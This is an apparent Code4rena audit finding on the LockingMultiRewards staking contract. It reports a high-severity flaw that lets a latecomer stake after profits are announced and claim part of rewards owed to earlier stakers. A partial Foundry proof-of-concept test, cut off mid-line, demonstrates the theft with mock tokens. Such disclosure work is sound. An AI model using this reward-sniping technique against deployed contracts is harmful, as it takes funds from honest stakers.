There is a vulnerability in the reward distribution method of the LockingMultiRewards contract, and latecomers can still receive rewards that do not belong to them.
Audit: 2024-03-abracadabra-money-findings
Severity: HIGH

# Lines of code

https://github.com/code-423n4/2024-03-abracadabra-money/blob/1f4693fdbf33e9ad28132643e2d6f7635834c6c6/src/staking/LockingMultiRewards.sol#L14


# Vulnerability details

## Impact
In the usual "staking-reward" system, rewards generally come from the profits generated by the staker (such as APY).  Consider the following scenario:

1. Alice and Bob stake their tokens and lock them in the `LockingMultiRewards contract`.  Assume that Alice stakes 1,000 tokens and Bob stakes 2,000 tokens.

2. After a period of time, the protocol generates a profit of 100 USDC tokens.  According to the design, these 100 USDC tokens will be distributed to Alice and Bob at a certain rate as a reward for their staking over the next 7 days.

3. Carol who did not stake any token  when the profits was generated, which means he should not be able to participate in the distribution of these 100 USDC tokens.  Due to a vulnerability in the `LockingMultiRewards` contract, Carol can stake his token after observing the protocol generating the reward and also receive a share of these reward.

## Proof of Concept
Create test file in the test folder: steelreward.t.sol
```solidity
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;

import "forge-std/console.sol";
import "utils/BaseTest.sol";
import "script/LockingMultiRewards.s.sol";
import {LockingMultiRewards} from "staking/LockingMultiRewards.sol";
import {SafeTransferLib} from "solady/utils/SafeTransferLib.sol";
import {LockingMultiRewardsScript} from "script/LockingMultiRewards.s.sol";
import { ERC20 } from "openzeppelin-contracts/token/ERC20/ERC20.sol";

contract StealRewardTest is BaseTest {
    using SafeTransferLib for address;

    LockingMultiRewards internal multiRewardContract;
    // address internal mimToken = 0xFEa7a6a0B346362BF88A9e4A88416B77a57D6c2A; //Token Magic Internet Money - Arbitrum
    // address internal usdCoin = 0xaf88d065e77c8cC2239327C5EDb3A432268e5831; //Token USD Coin -  Arbitrum
    address internal mimToken = address( new ERC20("Magic Internet Money", "MIM"));
    address internal usdCoin =  address( new ERC20("USD Coin", "USDC"));
    address internal stakingToken;
    uint256 internal constant MINIMUM = 1 days;

    function setUp() public virtual override {
        super.setUp();
        LockingMultiRewardsScript script = new LockingMultiRewardsScript();
        script.setTesting(true);
        (multiRewardContract) = script.deployWithParameters(mimToken, 30_000, 1 weeks, 13 weeks, tx.origin);
        stakingToken = multiRewardContract.stakingToken();
        _setupReward(usdCoin);
        vm.warp(0); 
    }

    function testSteal() public{
        _mockUserStake(alice, 1000 ether, true); //Alice stake 1000 
        _mockUserStake(bob, 2000 ether, false); //bob stake 2000
        advanceTime(1 days); // After a period of time 
        _distributeReward( usdCoin ,100 ether, 1 days); //100 USDC profits generates
        advanceTime(1 seconds);

        deal(stakingToken,